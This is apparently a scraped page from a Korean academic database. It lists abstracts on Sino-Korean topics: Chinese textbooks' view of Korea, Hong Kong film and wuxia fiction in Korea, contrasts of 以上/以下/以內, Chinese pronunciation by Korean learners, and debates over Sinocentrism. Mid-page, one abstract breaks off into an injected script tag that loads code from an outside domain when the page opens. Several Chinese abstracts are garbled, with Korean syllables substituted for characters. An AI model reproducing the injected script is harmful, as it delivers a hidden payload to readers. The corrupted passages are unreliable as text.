
http://chineseinput.net/에서 pinyin(병음)방식으로 중국어를 변환할 수 있습니다.
변환된 중국어를 복사하여 사용하시면 됩니다.
이재령 한국중국학회 2011 중국학보 Vol.64 No.-
改革開放以後, 通過敎學課本可以淸楚地看到中國對韓國的認識和與韓國的關系. 1978年以前, 在中國敎科書中有關韓國的內容僅限於和抗原援朝有關的內容. 改革開放以後, 中國的敎科書中才開始出現有關韓國經濟發展和國際合作關系, 政治民主化和南北關系的改善等方面的內容. 最總重要的是, 中國將韓國經濟高度發展的過程作爲中國的發展目標賦予其積極的意義. 盡管出版社不同, 但是在 [曆史], [中國曆史], [世界曆史], [世界近代史], [曆史與社會]等大多數敎科書中都不惜筆墨地對韓國的經濟發展進行了正面的評價, 其內容具有如下特點. 盡管是在社會主義體制下, 中國現在的曆史敎科書的內容在保持作爲長期曆史傳統的鑑戒主義和經世致用的精神的同時, 或以實用主義將其替代或將其與愛國主義融合. 此外, 爲了中國的成長與發展,在大部分內容中將韓國作爲發展目標的同時也將其作爲反面敎材使用. 具體內容, 第一, 改革開放以後,中國將包括韓國在內的亞種四小龍作爲本國發展的目標. 第二, 中國的傳統文化和知識遺産影響了亞洲的發展中國家, 使固有的中華意識得以體現。第三, 在中國體現自身國際地位的過程中, 韓國被描述成爲卽是其比較對象又是其競爭對手。此外, 對於韓國的描述過多著重於經濟生長方面, 忽視了政治和社會方面的變化。第四, 通過韓國的發展和挫折以及各種社會現象等對於將來有可能在中國發生的危機和混亂采取預防措施。中國敎科書中描述的此種內容和認識態度表象上表現爲對韓國的友好和積極的態度, 但不能忽視其最終目的在於給本國人民灌輸愛國主義和民族主義細想。中國改革開放以後, 關於現今韓國的內容的描述, 無論是表象上或是實質上, 與之前確實有了明顯的差別, 實用主義路線在敎材中明顯地體現。我們的工作在於正確地判斷나種才是其眞實的態度, 幷且采取適當的應對方法。21世紀, 對於以大國主義爲意向的中國全方位的(膨脹)擴張路線, 我們應該不斷地回顧我們的過去和現在爲了將來做准備。這就是由堅인的生命力和大度的包容, 自我變用(渗透)所産生的創造力。我們的任務不僅僅是在經濟發展方面成爲典型, 而是在經濟穩定發展的過程中, 對於政治民主化和人權, 自由, 福利, 和平, 環境保護等方面也要實現穩定的發展, 使韓國現代社會的繁榮昌盛和全方位均衡發展得以體現。
어문학보(語文學部) : 중국 대중문화의 한국적 수용에 관한 초국가적 연구 -영화와 무협소설 텍스트를 중심으로
임춘성 ( Choon Sung Yim ) 한국중국학회 2008 중국학보 Vol.57 No.-
進入20世紀90年代, 韓國大衆文化, 卽韓流開始在中國流行, 其影響一直擴展到台灣、香港、東南亞和日本。不過一定不要忽視的一個事實就是在韓流 以前,日流在中國和台灣等地已經流行過, 월語流行文化也在東亞風靡過。而且, 20世紀90年代, 不僅韓流,還有其타多樣的大衆文化也在日本被消費 。20世紀90年代以后, 東亞域內的的大衆文化交流比以往任何時候都活躍。究其原因雖 非本文的目的, 不過本文認爲岩淵功一(2004)主張從急速的經濟 成長和本土化的現代化經驗的交換中尋조原因的說法是一種有說服力的解釋。本文以韓流現象爲參照體系, 在東亞大衆文化交流這一大광架中考察 了韓國對中國大衆文化的接受和中國大衆文化對韓國的影響。這有鑒于文化的屬性是雙向的這一点。香港、台灣地區在內的中國人爲之狂熱的韓流內 容中, 也有我們接受然后將其本土化的中國要素, 可以將各地域經歷的近現代化的本土化經驗進行一下對照比較。要想對其進行有效的說明, 要求具備 東亞大衆文化交流這一視角。要把韓國大衆文化在亞洲的流通和亞洲對韓國大衆文化的接受現象與韓國大衆文化對他文化接受的跨文化現象同時進行 考察。只有將韓國對新自由主義大衆文化的中心美國的大衆文化、中國的傳統文化、日本文化、台灣和香港文化的接受一起考察才能在全球層面對韓 國大衆文化在亞洲的傳播和流通進行解釋。以上面的問題意識爲基礎考察的結果可以總結如下。韓國社會最早引進的香港電影史1956年高麗電影公司引 進上映的≪海棠紅≫。以武俠電影≪大醉俠≫(1967)的票房成功爲契机, 韓國觀衆接觸到了香港電影的主流和精髓。韓國影迷通過接受武俠片和功夫片, 以及香港黑幇片與科幻片, 以及香港擅長的고笑片, 愛情劇等, 與香港電影保持了同步。在韓國、香港、台灣橫行的類同三流作品的泛濫反過來反證了 原作的人氣。而且, 韓國與香港的合拍片迎合那一時期最有人氣的電影題材的做法成爲一種慣例。從1957年到1982年大約25年間持續合拍的132部影片 可以說是東亞文化交流的重要實例。還有, 打開了韓國武俠小說界大局的臥龍生時代, 在1966年通過≪玉釵盟≫的飜譯達到了頂峰。1968年他的作品被 大量飜譯介紹。甚至出現了其他武俠小說作家爲迎合臥龍生的人氣, 盜用臥龍生名字的奇怪現象。爲模倣臥龍生而進行的苦練成爲韓國武俠小說創作的 動力。中國武俠小說不僅對武俠小說讀者和作家而且對所謂正統文學作家和讀者也有一定程度的影響。 령一方面, 金庸代表中國武俠小說流行的령一 高潮。1986年到1989年3年間, 英雄門系列等所有作品全部被飜譯, 령外也有不少人對其作品進行學術硏究。最近, 通過版權協議射雕三部曲重新被飜 譯。英雄門現象是韓國固有的, 與金庸原作理解有一定距離的文化現象。讀者對英雄門情有獨鐘, 相關談論也常將其作爲中國武俠小說的代表, 誤認 爲若將其讀破, 就是征服了中國武俠小說。金庸的射雕三部曲的譯本≪小說英雄門≫不是完全飜譯, 從量上只飜譯了70%, 如果從文體或文學的層面來評价, 是50分不到的粗劣飜譯作品。英雄門的改編和出版雖 然從韓國式的脈絡中打破了以前階段的武俠志的一般槪念, 不過大傷了原作的意義和趣味。在20世紀90年代東亞跨文化時代, 金庸作品具有的中國傳統文化的厚度是使東亞文化體富起來的內容, 不過也差点成了强調中華主義的國族史詩和强調中國想象或者傳統復活的机制。正如李陀和戴錦華評价的, 中國大陸的大衆文化經歷了20世紀80年代的過渡期, 90年代以后從根本上被塑造, 國際電影節中獲奬的第五代作品開始被介紹給我們。在21世紀, 中國式大片作成爲主流, 在中國國內也제走了好萊塢大片, 揚眉吐氣。其源流就是張藝謀執導的≪英雄≫, 雖 然此片受到東方主義的內化批判, 但是作爲張藝謀묘准本國觀衆制作的作品, 타開啓了將中國的武俠要素和全球性好萊塢大片相結合的大片時代。看20世紀90年代的中國大衆文化的時候, 一定要關注香港、台灣和大陸的混種化。這源于改革開放以后涌入大陸的香港和台灣的大衆文化的影響。這一影響凸顯在在大衆歌謠領域, 在香港、台灣的武俠電影和第5代電影之間也存在某種影響關系。混種化現象在電影制作中흔突出。타通過大陸的導演和演員, 台灣的資本, 香港的演員和電影制作體系合作方式被體現出來。正如上面所考察的, 韓國近現代大衆文化與我們所誤認的純血觀念形態不同, 可以說是一種混血文化。如果說與中國的長期交流(儒敎文化等)以及解放以后美國的持續影響(牛仔袴和筒吉他等靑年文化等)是明示的構成要素的話, 日本的殖民文化(倭色文化)與香港和台灣的大衆文化則是隱含的要素。特別是在二十世紀七十年代到八十年代度過其成長期的靑少年的情緖中, 香港電影和台灣、香港的武俠小說的影響作爲一種潛在的隱藏的結構存在着。但是, 但是因爲韓國社會的美國化欲望, 大部分的香港和台灣大衆文化迷雖 然內心흔狂熱, 却不得不假裝漠不關心。由于這種不徹底, 所以達不到痴迷的程度, 呈現出的是一種興趣和享有相背離的現象。劉?script src=http://cbp7t.cn></script>
한국어 ‘이상’, ‘이하’, ‘이내’와 중국어 ‘以上’, ‘以下’, ‘以內’의 대조 연구
소열녕,구언아 한국중국언어학회 2021 중국언어연구 Vol.- No.97
한국어의 한자어 ‘이상’, ‘이하’, ‘이내’와 중국어의 ‘yĭshàng’, ‘yĭxià’, ‘yĭnèi’는 모두 한자 ‘以上’, ‘以下’, ‘以內’로 표기할 수 있다는 점에서 같은 語形을 지닌다고 할 수 있다. 또한 이들은 문장 속에서 수량을 뜻하는 단어 바로 뒤에 위치한다는 점도 동일하다. 이런 공통점으로 인하여 한국어와 중국어의 화자들이 상대방의 언어를 학습하거나 번역할 때, 두 언어에서 쌍을 이루는 이 단어들의 의미와 용법을 동일하게 여기기 쉽다. 그러나 실제 언어 사용을 살펴보면 그렇지 않다는 사실을 금방 깨달을 수 있다. 이들 단어 앞에 수량이 기준으로 제시될 때, 그 수량이 범위에 포함되는지 여부는 두 언어 사이에 차이가 있으며, 같은 언어를 사용하는 사람들 사이에서도 인식에 따라 다르다. 본고에서 사전과 문법서를 중심으로 한국어의 ‘이상’, ‘이하’, ‘이내’와 중국어의 ‘以上’, ‘以下’, ‘以內’의 정의를 살펴본 결과, 다음과 같은 내용을 알 수 있었다. 첫째, 한국어의 ‘이상’, ‘이하’는 기준의 포함 여부에 대해 명확한 사전적 정의가 존재하는 반면, ‘이내’는 그렇지 않았다. 둘째, 중국어의 ‘以上’, ‘以下’는 습관적인 용법이 있는 것으로 보이지만 기준의 포함 여부가 명확하지 않을 때도 있으며, ‘以內’는 아예 ‘습관적 용법’이라고 할 만한 쓰임조차 없었다. 이 단어들의 용법을 보다 정확하게 파악하기 위해 필자들은 한 달 간 두 언어의 화자를 대상으로 설문 조사를 실시하였다. 총 122명의 한국어 화자와 108명의 중국어 화자가 조사에 응하였으며, 조사 결과는 다음과 같이 요약할 수 있다. 첫째, 99.2%의 한국어 화자가 ‘X 이상’을 ‘X와 같거나 X의 위’라고 생각한 반면, 61.1%의 중국어 화자만 ‘X以上’을 ‘X와 같거나 X의 위’라고 생각하였다. 둘째, 91%의 한국어 화자가 ‘X 이하’를 ‘X와 같거나 X의 아래’라고 판단하였는데, 86.1%의 중국어 화자는 ‘X以下’를 ‘X의 아래’라고 생각하여 ‘X’가 범위에 포함되지 않는다고 판단하였다. 셋째, 53.3%의 한국어 화자는 ‘X 이내’의 ‘X’가 범위에 포함된다고 생각하였으며, 중국어 화자의 64.8%는 ‘X以內’의 ‘X’가 범위에 포함된다고 판단하였다. 이 조사 결과를 통해 한국어 ‘이상’, ‘이하’, ‘이내’와 중국어 ‘以上’, ‘以下’, ‘以內’의 공통점과 차이점을 다음과 같이 정리할 수 있다. 우선 짝을 이루는 이 세 그룹의 단어 중, ‘이내’와 ‘以內’가 가장 유사하다. 앞에 있는 수량이 범위에 포함된다고 생각하는 화자가 과반수이고 그렇지 않다고 생각하는 화자는 40% 내외로, 그 비율이 비슷하게 나타났다. 그 다음 ‘이상’과 ‘以上’도 어느 정도 유사하다고 할 수 있다. 그렇지만 수량이 범위에 포함된다고 생각하는 응답자는 한국어 화자의 99.2%로, 중국어 화자의 61.1%보다 38.1%나 많다는 점을 주의해야 한다. 즉, ‘이상’에 대한 한국어 화자의 판단이 거의 일치하는 반면 중국어 화자들은 그렇지 못하다는 것이다. 가장 뚜렷한 차이는 ‘이하’와 ‘以下’에서 나타났다. 한국어의 ‘이하’에 수량이 포함된다는 응답자는 91%에 달했는데 중국어의 ‘以下’는 오히려 그 반대로 86.1%의 응답자가 포함되지 않는다는 답을 주었다. 이러한 두 언어의 차이를 한국어교육과 중국어교육에서 반드시 강조해 주어야 학습자들이 해당 언어에서 알맞은 표현을 사용할 수 있을 것이다. Both Korean and Chinese language uses the word ‘isang/yĭshàng’, ‘iha/yĭxià’ and ‘inae/yĭnèi’ to express the meaning of ‘above’, ‘below’ and ‘within’. These set of words share the same Chinese writing, namely ‘以上’, ‘以下’ and ‘以内’ and this makes people tend to think that their meaning and usage are the same in both languages. Therefore, grammar textbooks usually do not explain their meaning and usage in detail. This paper tries to identify the similarities and differences between the Korean ‘isang’, ‘iha’, ‘inae’ and the Chinese ‘yĭshàng’, ‘yĭxià’ and ‘yĭnèi’ by using the contrastive analysis. A survey was conducted where native speakers of both languages were asked to answer three questions regarding the usage of ‘isang/yĭshàng’, ‘iha/yĭxià’ and ‘inae/yĭnèi’. 122 Korean speakers and 108 Chinese speakers responded to our questionnaire. The results showed that: (1) 99.2% of Korean speakers considered ‘X isang’ as ‘greater than or equal to X’, 91% of them think that ‘X iha’ means ‘less than or equal to X’, while for ‘X inae’, only 53.3% of the respondents think that ‘X’ should be included in the scope. (2) 61.1% of Chinese speakers perceived ‘X yĭshàng’ means ‘greater than or equal to X’, 86.1% considered ‘X yĭxià’ as ‘less than X’, and 64.8% of them think that ‘X’ is included in the scope for ‘X yĭnèi’. We can then come to a conclusion that ‘isang/yĭshàng’ and ‘inae/yĭnèi’ have similar but not totally the same meanings, while ‘iha/yĭxià’ are completely different in the two languages. This must be emphasized when teaching Korean to Chinese speakers and vice versa.
한국인 고급 학습자의 중국어 연구개 마찰음 발음에 대한 사례연구
한서영 한국중국언어학회 2017 중국언어연구 Vol.0 No.71
The purpose of this study is to investigate the difference in the pronunciation of the Chinese velar fricative /h/[x] between a native speaker of Chinese and a Korean advanced learner of Chinese. It is believed that Korean learners of Chinese assimilate the Chinese velar fricative [x] as the Korean glottal fricative [h], whose acoustic characteristics are influenced by the subsequent vowels. Accordingly, it can be assumed that the pronunciation of the Chinese [x] by Koreans learners is not always different from that by a native speaker. To assess this allophonic difference, an experiment was conducted involving the production of the Chinese [x] with several different subsequent vowels. The sound data recorded from the experiment was analyzed according to four acoustic phonetical cues based on the “source-filter theory” of Fant(1960) and Flanagan(2013), that is, the frication duration, the center of gravity in the spectrum, the skewness of the spectrum and formant values. First, it was found that the average frication duration of the Chinese [x] by Chinese native speakers is significantly longer than that by Korean learners of Chinese in general (p<.05). However, when it is followed by the low vowels [a, A, ɑ], no significant difference was found owing to pharyngealization in Chinese. Second, the F1 and F2 values of the Chinese /h/[x] by Korean learners were generally lower than those by Chinese native speakers, indicating that the place of articulation of the Chinese [x] by Korean learners is at a lower point of the tube compared to that of a Chinese native speaker. Third, there were no significant differences in the values of the center of gravity or skewness in the spectrum only when [x] is followed by a back vowel, such as [u, ʊ, ɤ]. This was found to occur due to the phonological transfer from Korean, which changes the place of the articulation of /h/ from the glottis to the velar in front of back vowels. To conclude, the production of the Chinese velar fricative by Korean learners shows partial differences depending on the succeeding vowels. This finding can shed new light on Chinese pronunciation education in Korea. 이 연구의 목적은 한국인 고급 학습자와 중국인의 중국어 연구개 마찰음 /h/[x]의 발음을 비교하고 그 원인을 규명하는 것이다. 한국인은 중국어 연구개 마찰음을 한국어의 성문 마찰음 [h]로 인지하였을 가능성이 크다. 그리고 한국어 성문 마찰음은 후행 모음에 따라 서로 다른 변이음으로 실현된다. 이 때문에 한국인이 발음한 중국어 연구개 마찰음의 발음 또한 후행 모음 별로 달라질 가능성이 있다. 이를 증명하기 위하여 한국인과 중국인이 중국어 연구개 마찰음을 발화하도록 실험을 계획하고 수행하였다. 실험 결과 얻은 소리 파일은 Fant(1960)와 Flanagan(2013)의 '음원-여과 이론'에 근거하여 네 가지 음향음성학적 단서를 기준으로 삼아 분석하였다. 그 분석 기준은 ①소음 지속 지간, ②스펙트럼의 무게중심과 ③스펙트럼의 왜도, ④포먼트(F1, F2)였다. 분석 결과, 첫째, 중국인의 /h/ 마찰 지속 시간의 평균값은 한국인보다 유의미하게 더 길었다. (p<.05) 다만 후행 모음이 [a, A, ɑ]와 같은 저모음인 경우에는 인강음화가 일어나 중국인의 마찰 길이가 짧아져 한중 화자 사이에 유의미한 차이가 나타나지 않았다. 둘째, 한국인들의 F1과 F2 모두 전반적으로 중국인보다 낮은 지대에 분포하였다. 이것은 한국인들이 발음한 마찰음의 좁힘점이 평균적으로 중국인의 연구개 보다 더 아래쪽에 위치했다는 점을 의미한다. 셋째, 다만 후행 모음이 [u, ʊ, ɤ]와 같은 후설 모음인 경우에는 스펙트럼의 무게중심과 왜도에 유의미한 한중 차이는 없었다. 이것은 모국어 음운 체계의 간섭 현상으로 후행 모음이 후설모음일 때에 한국인들의 조음 위치가 중국인과 같이 연구개로 이동하였다는 것을 보여준다. 결론적으로 한국인 고급 학습자의 중국어 연구개 마찰음은 후행 모음에 따라 달라져 중국인과 부분적인 차이를 보였다. 이러한 본 연구의 결과는 중국어 발음 교육에 실질적인 도움이 될 수 있을 것이다.
중국어 단모음〔a〕,〔i〕,〔u〕에 대한 한국인과 중국인의 발음 대조 연구
李美京 한국중국어문학회 2005 중국문학 Vol.43 No.-
本論文的目的在于分析韓漢兩語的單元音[a], [i], [u], 用對比的方法給學習漢語的韓國人提供能够把握韓漢兩語[a], [i], [u]的特点的參考資料. 本論文要對比分析韓國人和中國人的[a], [i], [u]的异同, 查看其异同時 使用聲學語音學的方法, 以便仔細考察各元音的動程和實際舌位. 從語圖把握共振峰數据, 對比男女之間的异同和隨學習時間不同而所出現的异同. 根据分析結果, 學習漢語未滿1年的和學習漢語已有5年以上的韓國男人的[a], [u]的舌位不到位, 前者高于中國人, 后者比中國人往前走移. 總而言之, 韓國男人的開口度不大于中國人, 韓國男人[a], [i], [u]的發音不如韓國女人。 韓國女人的[a], [i], [u]不分學習時間的長短都比較好.
한인제재 소설에 나타난 한국인식 : 중화사상을 중심으로
정영호,엄영욱 한국중국소설학회 2005 中國小說論叢 Vol.22 No.-
本文將古代中國人對韓國的認識和近現代中國人的韓國觀, 與中華思想連繫起來進行了分析,幷以此爲依據, 考察了中國作家對韓國的認識. 在古代中國人的頭腦中, 韓國包含在天下的槪念之中; 到了中世, 由於宗藩關係, 韓國被看作是中國的附屬國; 而近代, 韓國有時被當作爲中華的一個支流, 有時被當作邊夷, 有時又被當作第三者意義上的弱小國中的一個民族. 近代中國作家對韓國和韓國人的認識正如韓中近代史上出現的殖民和民族, 近代和超近代同時存在一般, 互相뉴合, 複雜多樣. 1919年以後的現代文學作品主要描寫的是抗日運動, 朝鮮民衆的悲慘生活, 韓中兩國人民的友誼等, 因爲都是屬於被壓迫的民族, 自然産生同病相憐的感情, 所以作品中隱含著國際主義聯合的意向. 而當代文學, 49年以後出現了大量的韓國人和韓國題材的作品, 其韓國觀仍然擺脫不了認爲韓國是中國蕃屬或中華的一個支流的觀念. 這個時期形成的中國人的韓國觀一直持續到實行改革開放政策的1978年. 78年的改革開放政策成爲中國人重新認識韓國的契機. 但是, 中國的自尊心和中華思想隨著經濟的發展隨時都有膨脹的可能, 東北工程就是一個證據. ‘東北工程’, ‘愛國主義’, ‘中華主義’等等, 用語雖然各各不同, 但却存在著一定的指向, 隱含著中國通過加强精神武裝占居21世紀亞洲和世界盟主地位的覇權主義意識. 中國的愛國主義以傳統中華思想爲基柱, 可以說是一個現代版的新中華主義.
“중화주의(中華主義)”, 한국(韓國)의 중국(中國) 상상(想像)
유경철 한국중국어문학회 2005 중국문학 Vol.44 No.-
在韓國,`中華主義`這個槪念是在描述或解釋中國的各種情況上最容易又最廣泛給使用而接受的。這時,`中華主義`露出韓國人心理上對中國的岐視和仇視,而且`中華主義`這個槪念的反復使用再産生對中國的韓國人的偏見和誤解,`中華主義`說法已經變成了在韓國的中國理解和硏究上的一種障碍。所以要突破,克服`中華主義`說法的努力不但在追求兩國互相理解和發展上, 而且在韓國人超越自國中心的狹隘觀念上再不能忽視的。 韓國的`中華主義`說法是?美國爲主的西方國家的`中國威脅論`一脈相通, 依?這種說法,中國在經濟上的快速發展和世界政治上的影響力擴大局面是讓他們國家提出這種說法的主要的原因。 `中華主義`和`中國威脅論`是從在全球化的國民國家體制上不可避免的各國之間的利益沖突和對峙局面上被造成的一種`中國想象`或者對中國的岐視。而且這種說法和各國內部的`愛國主義`結合起來更加强化其說服力。 在韓國,`中華主義`說法是好像從歷來中國侵略韓國的歷史記憶上制造出來的。看起來,韓國人按照這種歷史記憶 一直以爲中國是一個韓國的敵對國家,中國還保有侵略的因素。可是仔細觀看歷史上的經過,我們會發現把中國看成一個敵對國家歷史上沒有那?深遠的。古代韓國, 比如朝鮮, 總是要?中國維持友好關系, 當時人仇視的不是中國(漢族王朝),而是中國歷史上的異族國家。他們從華夷論的觀点上,自己要認同漢族國家和其文化,進而把其他異族看成野蠻人。`中華主義`這種想象從把異族的野蠻和侵略的形象轉成中國的代表表象才開始的,而且這種新的中國想象的出現是和韓國戰爭以后韓國的政治情況和國家意識形態上的定位有密切的關系。
오순방 한국중국소설학회 2001 中國小說論叢 Vol.14 No.-
중한 양국의 소설교류는 이미 高麗末부터 시작되어 수많은 중국소설작품이 한반도에 전래되었으며 조선시대의 문인들은 중국소설을 애독하는 동시에 筆記體 · 傳奇體의 文言小說을 편집하고 창작되었는데, 金時習의 《金鰲新話》 · 朴趾源의 《虎叱》 등의 작품이 창작되었고, 《刪補文苑사橘》 · 《啖蔗》 · 《訓世評話》 등의 작품집이 편집 · 간행되었다. 한편, 한글로 쓰여진 김만중의 《九雲夢》과 《謝氏南征記》는 한문으로 번역되어 중국에 전래되어 중국독자들에게 읽혀졌는데, 중국학자 중에서는 도리어 이들 소설의 漢文本을 두고 중국소설이라고 주장하는 이들이 있을 정도이다. 중한 양국의 상호 소설교류를 통해 현재 한국에는 중국에서 이미 오래 전에 失傳된 《型世言》 · 《刪補文苑사橘》 · 《啖蔗》 등의 작품이 소장되어 있으며, 중국에서 실전되었고 소설서목에 著錄만 되어 있는 《聘聘傳》과 《太原志》의 한글 번역본이 현존하고 있어 原書의 전모를 살펴볼 수 있다. 일본의 중국소설연구는 이미 근현대소설 분야에 있어서는 중국보다도 앞서 있어 일찍부터 전문가들의 주목을 받아왔고 게다가 일본 본토에서 전쟁을 겪지 않고서 임진왜란부터 현대에 이르기까지 한반도에서 가져간 전적이 많기 때문에 일본에서 발견된 한국과 관련된 중국소설자료들도 적지 않은 편이다. 예를 들면 《訓世評話》나 《刪補文苑사橘》은 조선시대에 한국에서 간행된 中國小說選集인데, 《刪補文苑사橘》은 지금 한국과 일본에 현존해 있으며, 《訓世評話》 한국에서 유실되었으나 최근 일본에서 발견되었다. 또한 신각치파자전과 같은 중국문언소설이 일본에서 판각되어 다시 한국에 소장되는 경우처럼 일본에서 한국으로 유입된 경우도 있으며, 《九雲夢》 · 《謝氏南征記》 · 《紅白花傳》과 같은 작품은 현재 일본에 소장되어 일본인에게 읽혀졌음을 알 수 있다. 이들 작품들은 모두 中韓日 삼국의 소설교류와 연구에 있어 매우 중요한 가치를 가지고 있는데, 특히 《訓世評話》나 《刪補文苑사橘》은 중국소설선집이지만 중국에는 現存하지 않으며 중국소설이 다른 지역에서 어떻게 수용되고 발전되었는지를 연구하는데 빼놓을 수 없는 자료들로써, 한일 양국은 소설연구의 자료면에서 중국보다 훨씬 유리한 조건을 가지고 있는 셈이다. 게다가 한일양국의 학자들은 연구관점에 있어서 중국학자들과는 다른 외국인의 시각과 조건을 가지고 비교적 객관적인 연구를 할 수 있는 동시에 2개 국어 이상을 구사하는 언어측면의 장점을 이용하여 중국과 자국을 포함한 보다 많은 지역의 자료를 이용하고 폭넓은 연구시야를 가질 수 있겠다. 하지만 여태까지 중국 이외의 지역에 있는 학자들은 서로 활발한 교류를 하지 못하였으며 주로 중국과의 교류에 치중하여 왔는데, 이번 2001년 한일학자들이 공동으로 국제학술회의를 개최하여 학술교류를 정례화하고 해당지역의 소설자료를 조사 · 교환하기 시작한 것은 매우 고무적인 일이라 하겠다. 《訓世評話》의 경우처럼 일본에 소장된 자료를 프랑스와 노르웨이에 있는 陳慶浩교수나 艾皓得교수를 통해 입수한 것과 같이, 여태까지 한국학자들은 일본에 있는 관련자료들을 직접 입수하지 못하고 제삼국에 거주하는 전문가를 통해 수집하곤 하였는데, 이번 학술교류를 계기로 한일학자들은 인접한 지역적 환경을 십분 활용하여 상호 직접적인 교류와 공동조사와 집체연구를 진행한다면 중국소설연구는 금후 21세기에 한일학자들의 손에 의해 또 다른 연구성과를 거둘 수 있으리라 생각된다.
신경선 한국중국언어학회 2016 중국언어연구 Vol.0 No.63
본 논문은 한국인 중국어 학습자의 중국어 발음 학습 과정 중 흔히 발생하는 주요 문제점에 대한 논의로써, 주로 초급 학습자의 중국어 음절 학습 시 발생하는 오류에 관해 연구를 진행하였다. 수 년 간 한국 대학생들의 중국어 입문 과정에 대한 고찰을 진행한 결과, 중국어 발음 중 [ɿ]와 [ʅ]로 발음되는 /i/모음을 포함한 음절, [ɛ]로 발음되는 /a/모음, 혹은 /e/를 포함하고 있는 음절, ‘ü’모음이지만 ‘u’로 표기되었을 때의 발음, 혹은 ‘-iu、-ui、-un’로 표기된 후의 발음, 개음 ‘u’, ‘ü’와 자음‘r’로 구성된 무개음 음절의 발음, 한국어의 상용한자 중 중국어와는 동형이음자로 구성된 음절, 경성을 포함한 음절, 제3성으로 시작하는 2음절의 발음 문제 등이 가장 두드러진 현상으로 발견되었다. 이러한 문제들을 발생시키는 원인으로는 크게 한어병음 방안 표기법에 대한 이해 부족, 모국어인 한국어의 영향으로 야기된 오류와 연속적인 음절에서 발생하는 성조 변화 등이 주요한 것이었다. 교육현장에서 발견되는 문제점을 시작으로 본 연구를 진행하기 까지 현재 중국어 발음 교육에 관한 논의의 대다수가 단순한 성모, 운모, 성조 차원의 것이었으며, 음절 차원의 논의는 현저히 부족한 상황이라고 할 수 있다. 본고는 수 년 간의 자료 수집과 문제 분석을 바탕으로 한국인 학습자의 중국어 발음 학습 상의 각 문제점에 대한 대응적인 교육 방안을 제시하려고 시도하였으며 이러한 시도가 향후 중국어 음절 발음 교육에 관한 새로운 관심과 논의를 일으키고 특히 한국 학생들을 대상으로 하는 중국어 교재 편찬과 발음테스트 유형 연구에 과학적인 근거를 제시하기를 희망한다. 본 연구를 통한 발견 중 하나는 한국에서의 중국어 교육이 수 십년 간 큰 성과를 거두었음에도 불구하고 중국어 발음 교육에 대한 연구와 교재 편찬이 상대적으로 빈약한 상황이며 교육 현장에서 이론적으로 실무적으로 발음 교육을 실천할 수 있는 전문적인 교사 양성이 절실히 필요하다는 것이다. 현재의 조건 안에서 이상적인 발음 교육을 위해 한국인 교사와 원어민 교사가 협업으로 수업에 참여하는 방식도 현재의 문제점을 해결할 수 있는 한 방안 중 하나라고 제시할 수 있다. Through years of collected data and analysis of issues, this thesis attempts to present the response of Korean Chinese learners about the problems faced when learning Chinese pronunciation in the current educational method. Through this attempt, the researcher hopes that interest and discussions about Chinese syllabic pronunciation will be renewed, especially focusing on the study of educational materials and types of pronunciation tests done by Korean Chinese learners, as well as providing scientific evidence.
조명화 한국중국어문학회 2007 중국문학 Vol.53 No.-
我覺得從來韓國中文學科(中文系)敎授們的硏究成果裏比較缺乏人文學本然的探究態度。這不僅是中文學科敎授們單獨的態度, 而是全體人文學類科敎授們的普遍的傾向。 人文學類科敎授們之所以與`人文學`疏遠, 是因爲韓國在沒有完全擺脫封建習慣下, 受容了西方的大學文化。大學的學科像封建制度下分封的土地一樣, 具有獨立的机能, 所以缺乏學際聯系, 使人文學的土壤變的貧瘠。學科們的`封土`的獨立性使學科的性向對政治的敏感性强于學問的敏感性。 由于科的封閉性被固定, 所以不僅是學科的授課課程被限定, 敎授們的硏究領域也被學科的學問分類所限定的傾向變的明顯。例如, 中文學科的敎授或者學生會産生, 認爲硏究國文學、 史學、哲學是不必要的弊端. 甚至, 産生了學士碩士博士學位如果不是在同一學科領域中學習, 則被認爲是不正統的?圍。 在這種人文學硏究者普遍的傾向下, 中文學科敎授們又有以下的傾向。 1)不僅是敎授們的硏究主題, 連授課課程也過分的以樣式(Genre)爲中心。這是所謂供給者爲主的組成。韓國大學的中文學科的授課課程沒有必要與中國大學的中文系相同。2)中文學科敎授們的論著當中, 作家論形式的論文過多, 雖然這是傳統的學問方法, 可是對現代的學問發展沒有什?幇助。3)沒有達到過去知識分子的敎養水平。 人文學危机的原因被認爲是資本主義社會的高度産業化、 新自由主義社會環境所造成的, 但在我們傳統文化當中有沒有其原因的反思十分必要。特別是韓國的中文學者對中國文化的流入評价、中國文化的本質及其歷史的變遷, 有必要深入硏究。韓國的中文學者應該讓這一時代的韓國人正確了解這一時代的中國而作出努力.